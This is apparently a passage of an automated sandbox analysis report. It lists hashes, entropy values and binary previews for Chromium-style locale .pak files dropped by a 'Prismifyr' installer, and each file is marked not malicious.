MD5:	1E5B1F817A9E7EE8D9BB9A472265AFF0
SHA1:	D6743BC13EBB260913AF30D79CF78AD3B1DEDE5C
SHA-256:	65F49119FC3CE3F159BA3196FB93F27B2966CEC2FFC5EAD833B8791F0FE5A638
SHA-512:	BAD4A15C04665191B1922A470949448EBB5AF5DE215A93F71A2E1E10A2F35DDB6A0D2B5C6659ADED59009EC2FF1BF7509D30652B00D43287F9CD1F0E6BEAE482
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l....n.2...o.7...p.D...q.J...r.V...s.....t.....v.....w.....y.$...z.R...\|.y...}.........................................................................0.....U..................................................... .....V.....^.....2.................3...........H...........E...........+.....L................................................ .....!.....".....".....".....#....v$.....$.....%.....%.....&....)'....T'....E(.....).....).....)..........+.....,.....,.....-....1.....}...........T/.....0....J0....o0.....1.....1.....2....>2.....3.....3...._4.....4....S5.....6.....6.....6....{7....Q8.....8.....8.....9....[:.....:.....:.....;....S<.....<.....<.....=.....>....y?.....?....~@....FA.....A.....A.....B.....C....>C....ZC.....D.....D.....E....2E.....F.....F....[G.....G....XH.....I....>I....eI....0J.....J....PK.....K....mL.....M.....M.....M.....O.....P.....P.....Q.....R.....R....fS.....S.....T.....U....9V....jV....%W.....W....YX....{X.....Y....\|Z.....[

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\en-GB.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	474921
Entropy (8bit):	5.523032100005657
Encrypted:	false
SSDEEP:	6144:e/BeweES7Ve7aiAUwzqNMP9eqQ3K8faYmfcmk59MxhBcRRpVA:IetJuAiNMtQ3KB+5ux8A
MD5:	F65ACB944CE633180762095EC6A48E31
SHA1:	BA5CC1FA02A1C6055F5A6BEBE1AEB993E3844590
SHA-256:	87E534F1D0A4B32BD9AE207E167F87499BDF1E05C5A7C173FC3AACFDCB0073D8
SHA-512:	11655EEEDD381C2629C34C72A106DA1130DFBE6D50E7C8D32A29FEB5C4C677A3606B4615F904E029C1703D6745FA61B959E50E928022F596AEEA29BF2D2A65E4
Malicious:	false
Preview:	........1(,.e.....h.....i.....j.....k.....l.$...n.,...o.1...p.>...q.D...r.P...s.....t.....v.....w.....y.....z.L...\|.s...}...............................................................................".....2.....C.................a.....u.................J.....Z.................V.....l.................@.....U.............................g.......................0.....u.......................h.......................V.......................,.....W.....g.................'.....2.................=.....Q............................./.....j.............................3.....?.......................,.....z.......................E........................ ....J ....r ....} ..... .....!....4!....?!.....!.....!....5"....J".....".....".....".....#....Z#.....#.....#.....#.....$....Z$....{$.....$.....$.....%....c%.....%.....%.....&.... &..../&.....&.....&.....'.....'....\|'.....'.....'.....(....w(.....(....')....5).....).....)....,....I...............+....&+....m+.....+.....+.....+....<,.....,.....,

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\en-US.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	479208
Entropy (8bit):	5.51691143890259
Encrypted:	false
SSDEEP:	6144:5sNJk9kFTDBop3rfxEKF8HWMP9epQBDRfaYNr2B55Mxwngpt/hLFwB:AobfxElWMaQBDBm5qx/FwB
MD5:	0EA050358326E9BA2FD06751A7B2BAD2
SHA1:	3610B9D4C370AF456BF8D1447417BA5194FB6A85
SHA-256:	55FD1B71A47B6D4A81240240FD24E12C3DD7B986924ECC11AFD7D21E7717A49F
SHA-512:	D10D047BE9629608F89AFBBC115ECE521AF4EA1A7529832943B67441BFF2FCD698FEEFE6DF6296C306B399C55ACF84DFA0734447F5F64063F2E1ECEBBBC8EDF3
Malicious:	false
Preview:	........s(..e.l...h.t...i.\|...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.I...w.u...y.....z.....\|.....}.".....K.....P.....X.....`.....h.....o.....v.....}.....~.........................................3.......................K.......................@.......................C.............................c.......................&.....M.....Z.......................(.......................(.....\|.......................X.......................&.....n.......................n.......................:.....U.....d.............................H.............................Z.......................6.....c.....o.................& ....1 ....y ..... ..... ..... ....9!....~!.....!.....!....."....m".....".....".....#....M#....p#.....#.....#.....$....,$....A$.....$.....$.....$.....%....`%.....%.....%.....&....G&....~&.....&.....&.....'....G'....q'.....'.....'....&(....^(....v(.....(....G).....).....).........Z...............+....P+....\|+.....+.....+.....,....2,....B,.....,.....,.....-

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\es-419.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	576469
Entropy (8bit):	5.377558940141367
Encrypted:	false
SSDEEP:	6144:TeTY0pDeoFnObDRpDYBcO5oi1A5za6aQ+lR51m:V04DprOE5zaI+7m
MD5:	B69C517BCC9DCACD327B8601A1AD85FB
SHA1:	0065BEAFE7E12673010FE1009729BAF507565E05
SHA-256:	F86E76BDA0DE5749F30EB7C4EDA26D4F4DAF7EA307AC4785CAD33836E45535E9
SHA-512:	F4B2FB7F1D728351A7E98FB888DBDD560D84E6471D50EE700F443F549D958FA059BE961D0A7E66DE56057699B5C674DFC03996DA55B09C48635D26F437F9E338
Malicious:	false
Preview:	.........'..e.....h. ...i.)...j.5...k.D...l.O...n.W...o.\...p.i...q.o...r.{...s.....t.....v.....w."...y.I...z.w...\|.....}...........................................#..........+.....,...........@.....O.....d.....{.....%...................................K.....c...........s.................j...........!.....<.............................\|...................................R.................x.................Z...................................1.....H...........4.....\|.........../.......................................... ....e ..... ..... ..... ....\!.....!.....!....."....v"....."....'#....:#.....#.....#....<$....H$.....$.....$....%%....0%.....%.....%.....&.....&....z&.....&....!'....1'.....'....$(....p(.....(.....(....K)....z).....).........M....t.....*....>+....t+.....+.....,....y,.....,.....-....i-.....-.....-.....-...._................../...../...../.....0....80.....0....M1.....1.....1....X2.....2.....3....E3.....3....+4....o4.....4.....4.....5....?5....R5.....5....C6.....6.....6

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\es.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	576160
Entropy (8bit):	5.356812304124685
Encrypted:	false
SSDEEP:	6144:DNvbzJTpoaO30I1Fl0fEgRNkpT+KeuiR5R9njm5JLf2Q9g/N6PZauu:JXOb0Fqp6uiRpnjm5Z2oghv
MD5:	B1000587C94D009694135741E20106AE
SHA1:	DC41998D69DA17BFAC9A79696D4D325F43259FC9
SHA-256:	54F6ECDB50ED0154E54B367BE15CBD946CE41BDBF687FEB23AB2B27E41FF0800
SHA-512:	BD2072457DA202F4876981EBB08228EA302D7CB8B628B6BDFDE22DA0F6D278668BAEE95FA71F78CA8B0FAFF38D88FAD6474F2AA5F5394597BD4556ED02011A09
Malicious:	false
Preview:	.........'..e.....h.&...i.....j.:...k.I...l.T...n.\...o.a...p.n...q.t...r.....s.....t.....v.....w.'...y.N...z.\|...\|.....}.....................................!.....(...../.....0.....1.....3.....F.....V.....k.............................6.................^.....t.........................................-.....H.................2.....B.................,.....=...........7.....\|...........+.......................o...................................:.....O...........C.................;.................$.................. ...." ....x ..... ..... .....!....j!.....!.....!.....".....".....".....#....&#.....#.....#.....$.....$....o$.....$.....$.....%....V%.....%.....%.....%....M&.....&.....&.....&....\'.....'.....(....2(.....(.....(.....)....1).....).....).........(.....*.....+....4+....G+.....+....<,.....,.....,....!-....m-.....-.....-..........k.................+/....{/...../...../....q0.....0....U1....l1.....1....y2.....2.....2....k3.....3.....4....)4....{4.....4.....4.....5....p5.....5.....6

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\et.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	523890
Entropy (8bit):	5.460274187404278
Encrypted:	false
SSDEEP:	6144:8OunMp9UWdUs9/8uq+p9fUL40tmFooSPT88trPSikntfLH5oM2CjiCKMxacfJPQc:5uMpRmG/PhQmFoX4fLH5oMYW
MD5:	7B2A22B5AFA14CCAD4AA68B9A17189CE
SHA1:	F673AACA9BC560656A5B737A9892BCD9344C3720
SHA-256:	30AE79D4435826E590750C8895E150ECAF3F8CC96EC70139C499CE0A0AE55D32
SHA-512:	BD3598FF7C52AFE3EB501CE70A6C9F63532B12BE8D1A82565FF1494C2FF6FA2438A6E3E33D00FA1E716325F8B859AF81AFE269AE3D1861317BA5B8E40538174E
Malicious:	false
Preview:	.........'..e.6...h.>...i.O...j.[...k.j...l.u...n.}...o.....p.....q.....r.....s.....t.....v.....w.H...y.o...z.....\|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T.....d.....v.................!.................(.................'.....:.................Y.....o...........8.....h.....z...........0.....].....h.................J.....].................G.....e...........C.....~.................b.......................j.......................v.................;.......................t.......................b.......................B.......................: ..... ..... ..... ....F!.....!.....!....."....P"....."....."....."....G#.....#.....#.....#....G$.....$.....$.....$....`%.....%.....&....&....}&.....&.....&.....'....n'.....'.....'.....(....h(.....(.....(.....)....j).....).........,....x...............*....]+.....+.....+.....+....k,.....,.....-.....-.....-..........j.....~....../...../...../...../....^0.....0.....1.....1....`1.....1.....1.....1....B2.....2.....2

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\fa.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	856753
Entropy (8bit):	5.046695313452183
Encrypted:	false
SSDEEP:	24576:u5oHS8u313uyqoT+seqyRmX1loTUOmdAQifaQ2XxFMJGk62YhhdTiI5MX4qOoUmi:K755X
MD5:	AD1032B084779FD1CB1A6AE6B51E07E2
SHA1:	983D0FD8E810EB2F11764850FB01DA6049129790
SHA-256:	4E8EC6BC2EE7BDB7E44BD9368BFF98EDBBAE7C19838BFA59AB9F8C443ED7317E
SHA-512:	ECB1C656FC4AA3608A8392D79ADDBE28EC097A7A6085134D3D254E9754DEDA15E00788BFBAC143C9AD29DFC0CA38A5308A2CE908264C6AB5C96C3E488D1944EA
Malicious:	false
Preview:	........t'..e.n...h.v...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.N...w.z...y.....z.....\|.....}.'.....P.....U.....].....e.....m.....t.....{........................................................... .....J.......................,.................3.....\.................1.....X...................................0.....z...........@.................I...................................S.................U ..... ....C!....a!....."....."....@#....b#....3$.....%.....%.....%....&&.....&.....&.....'.....'.....(....G(....X(.....(....x).....).....)....h*.....+....X+....m+.....+.....,.....,.....,....u-..........;.....N...........j/...../...../....W0.....0....91....J1.....1.....2.....2.... 3.....3....%4....U4....x4.....5.....5.....6....=6.....6....f7.....7.....7.....8....49.....9.....9....K:.....:.....:.....;.....;....c<.....<.....<....}=.....>....[>....\|>....z?....r@.....A....9A.....A.....B.....B....0C.....C.....D.....D.....E.....E.....F....2F....SF.....F.....G.....G.....H

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\fi.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	534639
Entropy (8bit):	5.42632231647943
Encrypted:	false
SSDEEP:	12288:C5Hs07v19loPajaQ5lkgUtWnep0WaAvqYM:6R5lTn1l
MD5:	5D693A7021EB7C4AEF053BD0954B9FDB
SHA1:	8500954DC82F8212FCB6E58DB128E650479BBBE9
SHA-256:	C2B0402222E9E877618F908518D9BC62BCA45EA4167734CE93F36382CB30F2CD
SHA-512:	425F5889FE6B1B3A38EFACE19419642CBA5D03657A33A9A85EB457AC2882075F1E73F58D036EF459F3001E8F717B92DF08D761D865711C3B2B560727841A9827
Malicious:	false
Preview:	........i'..e.X...h.`...i.q...j.}...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.>...w.j...y.....z.....\|.....}.......@.....E.....M.....U.....].....d.....k.....r.....s.....t.....y.............................N...........!.....2.................+.....>.................U.....k...........?.....r.................4.....a.....o.................%.....5.......................!.................F.....`.................>.....T.................C.....X.................F.....d...........N.......................Y.....\|.................,.....O.....].................).....5.............................d.......................I ..... ..... ..... ....%!....\|!.....!.....!....."....["....."....."....."....n#.....#.....#.....$....`$....\|$.....$.....$....@%....b%....{%.....%....>&....b&....q&.....&....='....t'.....'.....'....&(....=(....L(.....(.....)....-)....?).....).....)....4....N.....*....Q+.....+.....+....",.....,.....,.....,....2-.....-.....-.....-..........O.....h.....x...........,/....W/

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\fil.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	604396
Entropy (8bit):	5.203517990920059
Encrypted:	false
SSDEEP:	6144:lFcF+oO8SCeUEmsynDQ1Jx0phwA6umx5vMq7proEuAlmdK:loO8uTx5N7V
MD5:	FCBA5A4988B87771B4C784FE13209B44
SHA1:	2781CD227FD305F6A448156C99D742C622A945DE
SHA-256:	75BD5B252C6629F9EB30C00006C9270E341D12CB94679D334CBFF7D35A28D37A
SHA-512:	BF483C68A6CC236FE5F45AB7982DF951F13BE571838FEF13A5DA3A201C98E26DBBAAA3CCB18950D6BC823797590F2FD3CABA65B63B6CC9FE11C3123532323286
Malicious:	false
Preview:	........F(..e.....h.....i.0...j.<...k.K...l.V...n.^...o.c...p.p...q.v...r.....s.....t.....v.....w.)...y.P...z.~...\|.....}.....................................#..........1.....2.....3.....8.....E.....Z.....p.........../........... .....:...........1.....v...........3........... .....G...........<.......................`.......................s.................J............................@................./.......................~................D...........?.................8 ..... ....$!....F!.....!....."....0"....M"....."....."....##....0#.....#.....#.....$.....$.....$.....$....5%....K%.....%.....&....M&....\&.....&.....'....Q'...._'.....'.... (....Q(...._(.....(....")....T)....b).....)....c..............4+.....+.....+.....+.....,.....,.....,.....,.....-....}-.....-.....-....G............/....7/...../...../....(0....B0.....0.... 1....S1....n1.....1....b2.....2.....2....k3.....4....n4.....4.....5.....5.....5.....6.....6.....6....,7....D7.....7.....7....$8....:8.....8....09....l9

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\fr.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	623622
Entropy (8bit):	5.38695478943288
Encrypted:	false
SSDEEP:	12288:MuGwUHel7ZL1H43p9ZR6QuaMVqRZz14xlZsZCMYnY8R58g9sQzc7IPV8IxwSSWt5:f0YViO5+W
MD5:	F6EF5ECEB1CDE0903CD4D1D18CA908EC
SHA1:	5ECCBB618BD0640C7E49011729BBD87B535A2B47
SHA-256:	8155305ECE1B061D7B459B1B662AF74F91AA04C0C028486253E208EA0AAC0187
SHA-512:	03A311A7668373E74C5FCB48105F103DB67DB67AC4999B666A2D141FBCAD2C4EBF3BB18B31EE072A3C0C61E9F063ECA9F6DBB212FDCC0C20181DA203A786D72F
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.#...o.(...p.5...q.;...r.G...s.v...t.....v.....w.....y.....z.C...\|.j...}..........................................................................................9.............................{...........0.....H...........f.................N.................1.......................!.................0.....E...........:.....}...........,.......................h.................,.................A.....T...........?...................................:.................0 ....G ..... ..... ....#!....5!.....!.....!....5"....G".....".....#....M#....e#.....#.....$....b$....w$.....$....)%....U%....c%.....%.....&....B&....Q&.....&.....'....G'....['.....'....^(.....(.....(....=).....).....).....)..../...............*.....+.....+.....+.....+....y,.....,....4-....o-.....-..........4.....J...........6/....r/...../.....0....z0.....0.....0....i1.....1....:2....M2.....2....?3.....3.....3....74.....4.....5.....5....w5.....5.....5.....6.....6.....6....=7

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\gu.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1220384
Entropy (8bit):	4.321325137592257
Encrypted:	false
SSDEEP:	3072:1oXxpIkT/T2imKPo5zfpJDf1IwjAwREJKVMjNiT7llj63rFulPCaSi5NAWsWi//h:1OIiTHm6o5NJL7b6/5qwhr1lXR
MD5:	B54152F1794AAC7D270F5CFBB7A020D5
SHA1:	D14F3FEB7206468BE4ABEC39FCD14CB4D3FBF561
SHA-256:	B23B8F24E6A0A5267F4704F82DBBE5BD4BA34A3878A883BDBD9680F6512A2201
SHA-512:	8EC8FEFDAC754B6049B045985B754A4308DED71D79F43925A302076610FA8A69F29FE764AC5ACF65618D684FE73097862F4B9B43C8D21F410CE7E94ADF78120A
Malicious:	false
Preview:	.........'..e.....h.....i.$...j.0...k.?...l.J...n.R...o.W...p.d...q.j...r.v...s.....t.....v.....w.....y.D...z.r...\|.....}.................................................%.....&.....'.....,.....N.....s.................5.....8...........X.....K.....................................................M.......................3.....~...........^...........H.....h.....K...... ....f ..... .....!....."....B#.....#....Z$.....%.....%.....%.....&.....'.....'....#(.... )...............*.....,.....-.....-.....-.......... /....\/...../....<0.....0....11....Y1.....2.....2.....2.....3.....3.....4.....4.....5.....5.....6.....6.....7.....7....i8.....8.....8....}9..../:.....:.....:....V;.....<....a<.....<.....=.....>....H?....~?....7@.....@....>A....gA.....A....lB.....B.....B....mC....ND.....D.....E.....F.....F....`G.....G.....H....%I....hI.....I....}J....CK.....K.....K.....L.....M.....N....RN....yO.....P....tQ.....Q.....R.....S....(T....\|T....hU....4V.....V.....V.....W...._X.....X.....X.....Z.....Z.....[

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\he.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	752099
Entropy (8bit):	4.617015698574379
Encrypted:	false
SSDEEP:	12288:9XqylNaQGmhVzyD4ki2T2rnCkW9Wqu/5l2PX8ACeX+7eQCajp5Q6syU+ZHWO53N7:FqyNa7s5Y+j
MD5:	A68FA2B08E442B05874DCA64B65470DA
SHA1:	D79593CF29572A491B4F56680EC9F1BCCE7F312F
SHA-256:	DDFC635CF22DD117B28929B196A46554D21656C60A7EB4CE35DDE84A80032DC0
SHA-512:	B80328E2B4043DECD45FC95C6AC4192E550ED21398563C7A8135BE50ECECA01A0F762CCCBABD37265F14C25A0F4D63B6CB7AB98996533CD743FBBFF4D195DF6C
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.)...s.X...t.o...v.....w.....y.....z.%...\|.L...}.}...................................................................................%.....B.................:.....\...........Z.................q...........d...............................................A.....R...........5.....d...............................................V.....z.........................................O.....f...........k.................. ....-!.....!.....!....D".....".....".....#.....#.....#.....$....2$.....$....N%.....%.....%....8&.....&.....&.....&.....'.....'....4(....I(.....(..../)....j)....{).....)....c..........*....0+.....+.....+.....+.....,.....-....f-.....-..........m.................7/...../...../...../....p0.....0....)1....H1.....1....[2.....2.....2....P3.....3.....3.....3....d4.....4.....4.....5.....5....#6....v6.....6....n7....!8.....8.....8....j9.....9....1:....b:.....;.....;.....;.....<.....<.....<....!=....E=.....=.....>.....>

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\hi.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1286715
Entropy (8bit):	4.298180848533515
Encrypted:	false
SSDEEP:	3072:udTXlt9ui9DMN74LYHK7l4V/BB0ZV1dKu4lYvhOEOTByntDPtDlgpfgrs4fe/8K/:udblvui94ycHK7lV25RKbhcn
MD5:	36497D8F7461012BAFC3B5E4DFF4CD77
SHA1:	2CC68792E47AD159CD419825F6F024076F0DD5E9
SHA-256:	5D2BB8B65E89CB7107934D77C1CC9731F83A0C5F041C1A6643E3215146296A3C
SHA-512:	CC7291F1BDA4564D9A53F3AB8A98D1D493B3888736062008C0C17A88054E167E4040A027464585E6F5B3D3801E7A1ECFD3585C8ED5AE38E498216B8CA519D5A8
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.5...v.j...w.....y.....z.....\|.....}.C.....l.....q.....y.......................................................................M.................`.................~...........C.....q...................................'.....V.....)...........7.....g.......................=.....$ ..... ....'!....d!....."....m#.....#....%$.....$.....%..../&....X&....?'.....'....m(.....(.....).....*....%+....W+.....,.....-....T...........h/.....0....n0.....0....R1.....2....V2.....2.....3.....3.....3.....4.....4.....5.....6....46.....6.....7.....8....$8.....8.....9.....9.....9.....:....C;.....;.....;....k<....#=....}=.....=.....>.....?....-@....]@.....A.....A.....B....=B.....B....YC.....C.....C....qD.....E.....E.....E.....F....bG.....G....<H.....H.....I.....I.....I.....J.....K....\L.....L.....M....BN.....N.....O....yP.....Q.....R.....R.....S.....T....,U....nU.....V.....W.....X....uX....iY....'Z.....Z.....Z.....[.....\....%]

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\hr.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	581407
Entropy (8bit):	5.514977484792997
Encrypted:	false
SSDEEP:	6144:ikTWSkiC1OaHU0khw8ZhTE765e9YjPCjlK:ikj1zhw8PE25uYrUK
MD5:	6249233AFF4A7A2CAB1A01681F3B555D
SHA1:	62892F7CC147063BCFD097DF52512C4CAA39247A
SHA-256:	A6CC5DA8B3B46F2A327DE8F39C18A8A9B58031E1A0484321E2CEBE397C30F29B
SHA-512:	23AE48EA57FCF4A43AC558131DDF6C001104E44840AE44F1324EE7AF3F434D6279ED2C7E50FBEDD04F419B3F15AE973F6D8ECB0C602FAA449E64A62249D6203D
Malicious:	false
Preview:	.........'..e.2...h.:...i.K...j.W...k.f...l.q...n.y...o.~...p.....q.....r.....s.....t.....v.....w.D...y.k...z.....\|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....\.....h.....v...........#.................1.................5.....J...........A.........................................0.......................$.....t.................#.......................]...........(.....J.................Z.....r...........6.....m.................i.................c...........P.....s...........!.....H.....d.................. ..... ....t ..... ..... ..... ....R!.....!.....!....."....V"....."....."....."....U#.....#.....#.....$....V$.....$.....$.....$....:%.....%.....%.....%....J&.....&.....'....%'....x'.....'.....'.....(....b(.....(.....(.....(....@).....).....).....)....T..........*....-+.....+.....+.....+.....,.....,.....,.....-....+-.....-..........^.....{....../...../...../...../....p0.....0.....1....;1.....1.....1....-2....>2.....2.....2.....2.....3....x3.....3....%4

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\hu.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	626229
Entropy (8bit):	5.640149449198026
Encrypted:	false
SSDEEP:	6144:2w6RVhkmyedlnRj9/Hd2DfAUAxekitpd5qK8FZ9plLcYNtDdK0djew6cTnjDi54W:23V7ndlnaAcd5qK8ZhD0qbm5HPyK
MD5:	2F761B20258C04CC9E3335451160B33A
SHA1:	2144A0CF0E994F3B7B030FC8C51584B4C1AF11D0
SHA-256:	AF4B5654CCF418E5BD34E2850C63E4E73C85EB06DA1CBE75207743ECB70135B8
SHA-512:	B605C0DC34CB070AFCE84B4D189BE63F976F60626F73F0258B52D169DBEA59E338A54BB75F801F6C95203DCC179FDB284D3A836CF1420A6F77EFA165E1BBB4CB
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.!...s.P...t.g...v.....w.....y.....z.....\|.D...}.u.........................................................................................&.........................................X.....k...........o.................k.................3.................4.....E.................T.....u...........u.............................d.................n.................-...................................B.....\.............................h ..... .....!....9!.....!....."....8"....P"....."....(#....S#....k#.....#.....$.....$.....$....a%.....%....7&....M&.....&....X'.....'.....'.....(.....(.....(.....(....f).....)....:....N.....*....c+.....+.....+..../,.....,.....,.....,....V-.....-.....-..........l............/....)/...../....%0....u0.....0.....1....a1.....1.....1.....2....`2.....2.....2....43.....3.....3.....4.....4....85.....5.....5....^6.....6.....7....b7.....7....q8.....8.....8....D9.....9.....9.....9....}:.....:....3;

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\id.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	517344
Entropy (8bit):	5.382007575252981
Encrypted:	false
SSDEEP:	6144:KNU4nGe83eEhx38PmO8jBYBkf+eVnjHFHTmiZI/u5C7pjOBsIn0iT8wHp:BGGdeEhx3C82BcVnjHFzm8IG5C7pWp
MD5:	C83B246A36389F1087D32E801091559C
SHA1:	8A7D1D417868611CA3706A0D829C3B8F9774FCFC
SHA-256:	F2761928E6A189AD28183304A5D56FB1C51F03CCA5F315112B7B8722B781546F
SHA-512:	BA39A82FC9A379F0F83F107876DFEE73B4BF2F0E35B7C683002015DC3740C52402D0A5D3EB19CBA383C17B07ABEE807C47A7C27E278C0DB6847612097EF9161E
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.&...l.1...n.9...o.>...p.K...q.Q...r.]...s.....t.....v.....w.....y.+...z.Y...\|.....}...............................................................................+.....;.....M...........3.....{.................4.....a.....m...........4.....w.................N.......................I.....y.......................;.....R.................@.....d.................N.....e.................2.....?.......................!.................".....5.................U.....i.............................e.......................+.....v.......................W.......................<.....k.....u............ ....@ ....J ..... ..... .....!....&!.....!.....!....."....."....o".....".....".....#....W#.....#.....#.....#.....$....R$....q$.....$.....$....0%....[%....n%.....%.....&....E&....g&.....&.....&.....'.....'....u'.....'.....'.....(....t(.....(.....(.....).....).........d....s.........=+....w+.....+.....+....D,....r,.....,.....,.....-....*-....:-.....-.....-....0.

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\it.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	568007
Entropy (8bit):	5.293666221850935
Encrypted:	false
SSDEEP:	6144:jHeZxQ1ClwrdX/MTx991jY9NxvESIqRRxsO1ytKvWjRT9Tj+ia3bDxLUAqpzSw9D:j+7QPdXd0lZTG8/Pskfgm4s5pLI1W
MD5:	87724B77887DFFE15EBCA858A97852D5
SHA1:	7519756ACA8D6EDCDBB0426323525229235645AD
SHA-256:	8CB6406985AF29E71DDA10EBFCDB05428AB668F381C64DC4FEC1647473B7B9FD
SHA-512:	EA441B7B8C6352BA2A2CB46F6D13BD60756029FA25858B81B8F252E2D45F4813F15E6D6D6DFB4B13D10990E4128EF64168B2F2694EF9DB95FF55DF17E2AA582B
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.$...l./...n.7...o.<...p.I...q.O...r.[...s.....t.....v.....w.....y.)...z.W...\|.~...}.........................................................................!.....0.....I.....Z.............................r................. .............................(.......................U.......................$.....m.................'.......................m...........<.....a...........0.....v.................G.......................n.................U.................:.......................2........................ ....N ..... ..... ..... ....1!.....!.....!.....!....9".....".....".....".....#....g#.....#.....#.....#....;$....i$....r$.....$.....%....H%....S%.....%....:&.....&.....&.....&....D'....m'.....'.....'.....'.....(....+(.....(.....(.....).....).....).....)....=....z.....*.....+....A+....V+.....+.....+.....,..../,.....,.....-....g-.....-................./....#/...../.....0....i0.....0.....1.....1.....1.....1..../2....o2.....2.....2.....3....q3.....3

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ja.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	692156
Entropy (8bit):	5.702484156944294
Encrypted:	false
SSDEEP:	3072:tO5HmTzjDuFR6pe1huLKOw7Ei/lwLhO3tcACd5XYSRL51aZEhyQ2ImkNuHvPkw6z:YFR6pedkgKoixaZLQ2ftXabt5z2vVVs
MD5:	F84E728B97F1766E1CD24800A409A411
SHA1:	C42BD9849B5E5510E56DACF06A8CE126BFD00744
SHA-256:	4BEEABF6962E1E5B042DEDBC45D21D3786C331A3AB1F3F3F51F75FE9ED8811EE
SHA-512:	769CD214F19D735A06DC7EEF8DB23F6B3302E0DAECCFBCD6405C9AA251CA24392FE6CDFAD9AB9273C8C38AB763A502F2204B48526E10CF2C3439AB6544698F9C
Malicious:	false
Preview:	.........&h.e.p...h.x...i.....j.....k.....l.....m.....o.....p.....q."...v.....w.Z...y.....z.....\|.....}.......0.....5.....=.....H.....P....._.....d.....l.....s.....z.....................................................$.....v...................................z...........].....x.....>...........Z.................u.........................................R..................................q.................r.................".......................@.............................>.................%.......................E ..... .....!.....!.....!..../"....v"....."....>#.....#....$....N$.....$....S%.....%.....%....-&.....&.....&.....&....t'.....'....&(....5(.....(....@).....).....)....B.........2+....Q+.....+....K,.....,.....,....$-.....-.....-.....-....d............/....=/...../....I0.....0.....0....41.....1.....1.....1....L2.....2.....2.....3.....3.....3....)4....?4.....4.....5.....5.....6.....6.....7....i7.....7....%8.....8.....8.....9.....9.....9....,:....H:.....:....V;.....;.....;

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\kn.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1392950
Entropy (8bit):	4.237663846787979
Encrypted:	false
